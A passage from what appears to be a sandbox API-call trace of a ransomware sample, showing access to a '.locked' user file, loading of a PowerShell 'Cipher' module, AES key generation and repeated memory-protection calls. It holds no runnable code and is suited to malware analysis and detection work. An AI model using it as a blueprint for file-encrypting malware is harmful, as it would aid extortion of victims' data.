Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.179] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.180] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.181] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.181] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.181] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.181] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.181] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.182] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0139.183] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a86c60 | out: lpFileInformation=0x6a86c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x162d5c0e, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x162d5c0e, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x162d5c0e, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x9ea4)) returned 1 [0139.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0139.183] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi.locked", lpFilePart=0x0) returned 0x37 [0139.183] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x778 [0139.183] GetFileInformationByHandle (in: hFile=0x778, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0139.183] CloseHandle (hObject=0x778) returned 1 [0139.185] GetConsoleOutputCP () returned 0x1b5 [0139.186] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.186] GetConsoleOutputCP () returned 0x1b5 [0139.186] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.186] GetConsoleOutputCP () returned 0x1b5 [0139.186] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.186] GetConsoleOutputCP () returned 0x1b5 [0139.187] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.187] GetConsoleOutputCP () returned 0x1b5 [0139.187] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.187] GetConsoleOutputCP () returned 0x1b5 [0139.187] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.187] GetConsoleOutputCP () returned 0x1b5 [0139.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.188] GetConsoleOutputCP () returned 0x1b5 [0139.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.188] GetConsoleOutputCP () returned 0x1b5 [0139.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.188] GetConsoleOutputCP () returned 0x1b5 [0139.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.189] GetConsoleOutputCP () returned 0x1b5 [0139.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.189] GetConsoleOutputCP () returned 0x1b5 [0139.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.189] GetConsoleOutputCP () returned 0x1b5 [0139.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.190] GetConsoleOutputCP () returned 0x1b5 [0139.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.190] GetConsoleOutputCP () returned 0x1b5 [0139.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.190] GetConsoleOutputCP () returned 0x1b5 [0139.191] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.191] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0139.191] GetConsoleOutputCP () returned 0x1b5 [0139.191] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0139.191] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0139.192] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6aad870*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6aad870*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0139.192] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0139.193] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0139.197] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.197] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.197] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.197] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0139.197] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.197] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.197] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.198] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0139.198] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0139.198] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.198] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.198] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.199] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x42ebdc0) returned 1 [0139.199] CryptGenKey (in: hProv=0x42ebdc0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84c38) returned 1 [0139.199] CryptContextAddRef (hProv=0x42ebdc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.199] CryptExportKey (in: hKey=0x8e84c38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0139.199] CryptExportKey (in: hKey=0x8e84c38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6ab70f4, pdwDataLen=0x99ae894 | out: pbData=0x6ab70f4*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0139.199] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x7084\x6ab\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0139.199] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.199] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.199] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.200] SysStringLen (param_1="") returned 0x8 [0139.200] SysStringLen (param_1="e") returned 0x8 [0139.200] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.200] SysStringLen (param_1="\x2cf\x1a64\x16bd\xd9b6\xbac5\xde33\x53c5\x70fe") returned 0x8 [0139.200] SysStringLen (param_1="\x2cf\x1a64\x16bd\xd9b6\xbac5\xde33\x53c5\x70fe") returned 0x8 [0139.200] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.200] SysStringLen (param_1="en") returned 0x8 [0139.200] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.200] SysStringLen (param_1="\x5669\x3e8e\x3670\xbe3f\xba6f\x3ca7\xe35a\x2d54") returned 0x8 [0139.200] SysStringLen (param_1="\x5669\x3e8e\x3670\xbe3f\xba6f\x3ca7\xe35a\x2d54") returned 0x8 [0139.200] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.200] SysStringLen (param_1="enr") returned 0x8 [0139.200] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.200] SysStringLen (param_1="\xc17e\x478e\x83fd\xd51a\xfed\xa166\x8fdb\xa372") returned 0x8 [0139.200] SysStringLen (param_1="\xc17e\x478e\x83fd\xd51a\xfed\xa166\x8fdb\xa372") returned 0x8 [0139.200] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.201] SysStringLen (param_1="enrL") returned 0x8 [0139.201] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.201] SysStringLen (param_1="\x8ae\x6ca3\x5089\x2009\x3915\x4b1b\x1899\xaa") returned 0x8 [0139.201] SysStringLen (param_1="\x8ae\x6ca3\x5089\x2009\x3915\x4b1b\x1899\xaa") returned 0x8 [0139.201] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.201] SysStringLen (param_1="enrLd") returned 0x8 [0139.201] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.201] SysStringLen (param_1="\xcf9c\x462f\x2dfc\x92c9\xcdb4\x5d79\xb4f9\x2c5") returned 0x8 [0139.201] SysStringLen (param_1="\xcf9c\x462f\x2dfc\x92c9\xcdb4\x5d79\xb4f9\x2c5") returned 0x8 [0139.201] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.201] SysStringLen (param_1="enrLdk") returned 0x8 [0139.201] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.201] SysStringLen (param_1="\xe10a\x38b\xbfc9\x9640\xf8c9\x26d\xf8ed\x1454") returned 0x8 [0139.201] SysStringLen (param_1="\xe10a\x38b\xbfc9\x9640\xf8c9\x26d\xf8ed\x1454") returned 0x8 [0139.201] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.201] SysStringLen (param_1="enrLdkK") returned 0x8 [0139.201] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.201] SysStringLen (param_1="\xb854\x1c71\x99d7\xa352\xb409\xb225\xb32f\x53e7") returned 0x8 [0139.201] SysStringLen (param_1="\xb854\x1c71\x99d7\xa352\xb409\xb225\xb32f\x53e7") returned 0x8 [0139.201] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.201] SysStringLen (param_1="enrLdkKw") returned 0x8 [0139.201] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.202] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d") returned 0x8 [0139.202] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d") returned 0x8 [0139.202] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d") returned 0x8 [0139.202] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d") returned 0x10 [0139.202] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.202] SysStringLen (param_1="enrLdkKwW䂛씠奥ဧ黛微") returned 0x10 [0139.202] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.202] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x58c4\x2754\xf914\xdc5c\x2d23\xe730\x29ba\xd723") returned 0x10 [0139.202] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x58c4\x2754\xf914\xdc5c\x2d23\xe730\x29ba\xd723") returned 0x10 [0139.202] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.202] SysStringLen (param_1="enrLdkKwWR䂛씠奥ဧ黛微") returned 0x10 [0139.202] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.202] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x4e22\xa0c6\x5c6\xdbf5\x5dfe\xc644\x96bc\x7038") returned 0x10 [0139.202] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x4e22\xa0c6\x5c6\xdbf5\x5dfe\xc644\x96bc\x7038") returned 0x10 [0139.202] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.202] SysStringLen (param_1="enrLdkKwWRA씠奥ဧ黛微") returned 0x10 [0139.202] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.202] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\xe930\x1f31\x5632\x5178\x35db\x5025\xab58\x5fa5") returned 0x10 [0139.202] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\xe930\x1f31\x5632\x5178\x35db\x5025\xab58\x5fa5") returned 0x10 [0139.202] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.202] SysStringLen (param_1="enrLdkKwWRAm奥ဧ黛微") returned 0x10 [0139.202] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.203] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2ae\xb26d\xe429\xe462\x6a38\xe4e2\xbcb\xc4ff") returned 0x10 [0139.203] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x2ae\xb26d\xe429\xe462\x6a38\xe4e2\xbcb\xc4ff") returned 0x10 [0139.203] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.203] SysStringLen (param_1="enrLdkKwWRAmaဧ黛微") returned 0x10 [0139.203] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.203] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\xa26d\xa201\x9059\x5cd9\x3d34\xbb17\x83c9\x3a0c") returned 0x10 [0139.203] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\xa26d\xa201\x9059\x5cd9\x3d34\xbb17\x83c9\x3a0c") returned 0x10 [0139.203] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.203] SysStringLen (param_1="enrLdkKwWRAmau黛微") returned 0x10 [0139.203] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.203] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x63df\x55ac\x8ea\x4389\xf075\x8099\x2ba4\x17a1") returned 0x10 [0139.203] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\x63df\x55ac\x8ea\x4389\xf075\x8099\x2ba4\x17a1") returned 0x10 [0139.203] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.203] SysStringLen (param_1="enrLdkKwWRAmaum微") returned 0x10 [0139.203] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.203] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\xe8f\x89ac\x39ef\xc488\xb67c\x452f\x1a55\xac85") returned 0x10 [0139.203] SysStringLen (param_1="\x40a9\xe9aa\x33d3\xc426\x9da5\x4b2\xdb20\x6f7d\xe8f\x89ac\x39ef\xc488\xb67c\x452f\x1a55\xac85") returned 0x10 [0139.203] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: 